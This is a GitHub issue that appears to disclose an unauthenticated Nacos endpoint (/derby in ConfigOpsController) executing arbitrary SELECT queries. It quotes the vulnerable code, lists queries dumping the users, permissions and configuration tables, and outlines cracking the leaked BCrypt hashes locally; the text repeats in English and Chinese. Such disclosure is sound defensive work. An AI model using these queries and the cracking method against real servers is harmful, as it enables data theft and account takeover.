You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Hello, I am threedr3am. I found a nacos interface. When nacos is deployed in the default configuration, it can be accessed without authentication and execute arbitrary SQL queries, which leads to the disclosure of sensitive information.
The audit code can find that there is an interface in the config server, and the SQL statement can be executed without any authentication, and all data can be leaked
The vulnerability lies in the module: com.alibaba.nacos.config.server.controller.ConfigOpsController in nacos-config
@GetMapping(value = "/derby")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "select";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (PropertyUtil.isEmbeddedStorage()) {
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
}
return RestResultUtils.failed("The current storage mode is not Derby");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}
As you can see, the code only limits the need to include select, so any select query statement can be executed
Through the test, you can use the following statement to query all database information
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
The most important thing is that the interface does not require any authentication and can be accessed directly
After reading the account number and the password after the hash, we can analyze it through the open source program source code because of the salt generation algorithm used when nacos creates the account.
Look at the source code com.alibaba.nacos.console.security.nacos.NacosAuthConfig
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder());
}
@Override
protected void configure(HttpSecurity http) throws Exception {
if (StringUtils.isBlank(authConfigs.getNacosAuthSystemType())) {
http
.csrf().disable().cors() // We don't need CSRF for JWT based authentication
.and().sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)
.and().authorizeRequests().requestMatchers(CorsUtils::isPreFlightRequest).permitAll()
.antMatchers(LOGIN_ENTRY_POINT).permitAll()
.and().authorizeRequests().antMatchers(TOKEN_BASED_AUTH_ENTRY_POINT).authenticated()
.and().exceptionHandling().authenticationEntryPoint(new JwtAuthenticationEntryPoint());
// disable cache
http.headers().cacheControl();
http.addFilterBefore(new JwtAuthenticationTokenFilter(tokenProvider),
UsernamePasswordAuthenticationFilter.class);
}
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder();
}
As you can see, they are all default and users cannot modify them
Therefore, refer to the tool class com.alibaba.nacos.console.utils.PasswordEncoderUtil
In this way, the password represented by the hash value can be quickly blasted locally
package com.alibaba.nacos.console.utils;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
/**
* Password encoder tool.
*
* @author nacos
*/
public class PasswordEncoderUtil {
public static void main(String[] args) {
System.out.println(new BCryptPasswordEncoder().encode("nacos"));
}
public static Boolean matches(String raw, String encoded) {
return new BCryptPasswordEncoder().matches(raw, encoded);
}
public static String encode(String raw) {
return new BCryptPasswordEncoder().encode(raw);
}
}
@GetMapping(value = "/derby")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "select";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (PropertyUtil.isEmbeddedStorage()) {
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
}
return RestResultUtils.failed("The current storage mode is not Derby");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}
可以看到,代码只限制了需要包含select,因此,导致可以执行任意的select查询语句
通过测试,可以用以下的语句查询到所有数据库信息
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
------------------------------------------------------------------------(english)
Hello, I am threedr3am. I found a nacos interface. When nacos is deployed in the default configuration, it can be accessed without authentication and execute arbitrary SQL queries, which leads to the disclosure of sensitive information.
Source address: https://github.com/alibaba/nacos
The audit code can find that there is an interface in the config server, and the SQL statement can be executed without any authentication, and all data can be leaked
The vulnerability lies in the module: com.alibaba.nacos.config.server.controller.ConfigOpsController in nacos-config
As you can see, the code only limits the need to include select, so any select query statement can be executed
Through the test, you can use the following statement to query all database information
The most important thing is that the interface does not require any authentication and can be accessed directly
After reading the account number and the password after the hash, we can analyze it through the open source program source code because of the salt generation algorithm used when nacos creates the account.
Look at the source code com.alibaba.nacos.console.security.nacos.NacosAuthConfig
As you can see, they are all default and users cannot modify them
Therefore, refer to the tool class com.alibaba.nacos.console.utils.PasswordEncoderUtil
In this way, the password represented by the hash value can be quickly blasted locally
Deployment process:
poc:
All versions
------------------------------------------------------------------------(中文)
你好,我是threedr3am,我发现了一个nacos的接口,在默认配置部署nacos的情况下,它无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露。
一、漏洞详情
源码地址:https://github.com/alibaba/nacos
审计代码可以发现,config server中有个接口,没有做任何的鉴权,即可执行sql语句,可以泄漏全部数据
漏洞点在于module:nacos-config的com.alibaba.nacos.config.server.controller.ConfigOpsController中
可以看到,代码只限制了需要包含select,因此,导致可以执行任意的select查询语句
通过测试,可以用以下的语句查询到所有数据库信息
最重要的是,该接口不需要任何认证,直接就可以访问
通过读取到账号以及hash之后的密码后,因为nacos创建账号时使用的salt生成算法我们通过开源的程序源码已经能分析出来
看源码com.alibaba.nacos.console.security.nacos.NacosAuthConfig
可以看到,都是默认的,使用者没法做修改
因此,参考工具类com.alibaba.nacos.console.utils.PasswordEncoderUtil
通过这样的方式,可以在本地快速的爆破出hash值表示的密码
二、漏洞复现
部署流程:
poc:
三、影响范围
所有版本
The text was updated successfully, but these errors were encountered: